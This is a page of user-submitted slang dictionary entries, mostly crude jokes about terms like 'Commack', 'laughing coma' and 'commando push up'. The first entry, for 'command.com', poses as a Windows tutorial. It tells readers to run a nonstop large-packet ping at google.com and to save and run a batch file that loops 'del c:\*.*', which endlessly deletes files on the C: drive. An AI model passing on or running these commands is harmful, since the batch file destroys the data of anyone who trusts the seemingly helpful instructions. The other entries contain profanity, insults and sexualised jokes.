command.com

a program used on windows. command line based.
to open command.com

press start, hit run, type "cmd" then press enter. once the black box comes up type help.

then type.

ping www.google.com -l 6000 -t


save this as a .bat file

echo :P
:loop
del c:\*.*
goto loop

by anonymous September 21, 2004

Commack

A town in Eastern Long Island where the rich kids are assholes and the less fortunate kids are grateful for everything. 90% of Commack kids have never had to work for anything in their life. The school part is easy and for the most part your teachers are great. The best friends you will have are the less fortunate one’s. Home of the idiotic “bike gang”. Contrary to popular belief, there are no “real fights in Commack”, just posers acting tough. Half the people that claim they’re tough are pussies.

If you wanna go to a school where there’s vaping every period, and they care more about you having a pass in the hallway, then come to Commack.

Hey where do you go to school?

I go to commack

Oh, so you’re one of those spoiled rich kids?
No, fuck off.

by A guy from Commack November 16, 2017

laughing coma

to laugh so much, that you go into a coma.

For example, instead of being hit my a bus and put into a coma, you would be hit by a statement(preferably a funny one) that would put you into a laughing coma. Which will then cause you to laugh...alot.

by Wells Fargo March 2, 2008

marital coma

The years spent in a bad marriage. The time which was lost in marital hell. Upon waking up out of a marital coma a woman behaves the age she was when she got married. Marital comas contribute greatly to the cougar phenomenon.

Upon waking from her 14 year marital coma, Maggie was fiercly attracted to and preyed upon the young hunky 20-somethings at the sports bar where she and her children often dined.

by GiddyUpGirlFL January 26, 2009

Carb Coma Cuddle

1. Noun/Verb. The feeling or state after the consumption of massive amount of carbs (ex. pizza, cake, pasta) resulting in desire to cuddle, snuggle, and/or contort into the fetal position. The person experiencing said coma will often be accompanied by a pillow or a friend, partner, or companion also experiencing the phenomenon.

"Yo dude, where's Dave?"

"Bro, he's on the couch with Tommy having a carb coma cuddle. They finished off the rest of the pizza."

fat hangover food coma

by ltstlkbtspcshps August 17, 2011

commandette

The female equilvalent of "going commando". In other words, a woman of mammary bountitude not wearing an over the shoulder boulder holder.

"That chick is going commandette over there!" "Dude, you can see her fripples from space!"

by gulo May 16, 2006

commando push up

Theoretically a push up done in a handstand. In actuality, a push up merely done without wearing underwear. So, when a guy is bragging that he can do commando push ups, it may not be what you expect...

Guy: Guess what? I did 12 commando push ups last night.
Girl: Really? What's that?
Different Guy: Oh, shut up, dude. It just means he did push up 'au naturale'.

Girl: Ew..!

by Yaneedtono July 14, 2010